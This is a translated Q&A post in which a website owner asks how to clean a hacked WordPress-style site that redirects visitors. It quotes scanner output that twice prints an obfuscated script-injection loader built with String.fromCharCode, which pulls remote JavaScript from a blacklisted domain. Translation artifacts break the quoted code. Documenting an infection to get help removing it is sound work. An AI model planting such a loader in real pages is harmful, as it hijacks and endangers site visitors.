【发布时间】:2020-11-05 22:21:14
【问题描述】:
我的网站https://spicecarts.in 刚刚被黑了!它正在重定向到其他网站! 我用这个工具检查了https://sitecheck.sucuri.net/results/https/spicecarts.in 并发现了错误 1.已知的javascript恶意软件:malware.injection?35.27
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type =使用String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src =使用String.fromCharCode(104,116,116,112,115,58,47,47,97,108,108,111,119,46,108,101,116,115,109,97,107,101,112,97,114,116,121,51,46,103,97,47,108 ,46,106,115,63,100,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[ 0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();2.此页面包含一个来自letsmakeparty3.ga的JavaScript/iframe,被Sucuri Labs列入黑名单,原因:注入脚本,见https://labs.sucuri.net/?blacklist=letsmakeparty3.ga
3.在https://spicecarts.in/wp-includes/css/恶意软件中发现如下
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type =使用String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src =使用String.fromCharCode(104,116,116,112,115,58,47,47,97,108,108,111,119,46,108,101,116,115,109,97,107,101,112,97,114,116,121,51,46,103,97,47,108 ,46,106,115,63,100,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[ 0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();如何解决这个问题!
【问题讨论】: